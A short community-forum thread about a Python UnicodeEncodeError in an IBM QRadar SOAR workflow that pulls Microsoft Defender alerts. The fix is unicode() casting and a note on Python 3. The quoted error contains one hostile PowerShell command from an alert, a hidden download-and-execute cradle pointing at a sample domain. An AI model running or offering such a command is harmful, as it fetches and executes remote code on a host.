IBM QRadar SOAR

IBM QRadar

Join this online topic group to communicate across Security product users and IBM experts by sharing advice and best practices with peers and staying up to date regarding product enhancements.


#Security
#QRadar
#SecuringhybridcloudandAI
 View Only
  • 1.  UnicodeEncodeError with Call REST API

    Posted 04/13/21 11:16 AM
    Edited by Mr Coco 04/13/21 11:23 AM
    I have a workflow which works beautifully but blows up when it sees right or left single quote marks.

    An error occurred while processing the action acknowledgement. Additional information: Post-processing script for Function 'Utilities: Call REST API' from Workflow 'z_Get Defender Alert via MS API from Defender Alert ID Artifact' was unable to complete because: UnicodeEncodeError('ascii', u'"powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\u2018https://sampledomain.com/blah\u2019))"', 84, 85, 'ordinal not in range(128)')

    I'm not real sure what to try to get around it as testing with encode, decode or unicode functions doesn't work and 6193791 from the support pages wasn't real useful. If I exclude the below in my code it leaves me without a key IR piece required in our data table so I'd like to figure out how to work around it if I can't insert the actual unicode characters into the data table.

    if item['processCommandLine'] is not None:
         defendertable.process_cmd = str(item['processCommandLine'])

    I'm stumped. Does anyone have any ideas?

    ------------------------------
    Mr Coco
    ------------------------------


  • 2.  RE: UnicodeEncodeError with Call REST API

    Posted 04/13/21 12:38 PM
    Edited by Mr Coco 04/13/21 12:39 PM
    Fixed it by changing the following:

    defendertable.process_cmd = unicode(item['processCommandLine'])

    ------------------------------
    Mr Coco
    ------------------------------



  • 3.  RE: UnicodeEncodeError with Call REST API

    Posted 04/14/21 10:29 AM
    In Resilient v40 and beyond will now have the ability to run your pre and post-processing scripts using either python 2 or python 3 environments. In python 3, all string based variables are unicode by default. So you won't need to cast strings to unicode.

    ------------------------------
    Mark Scherfling
    ------------------------------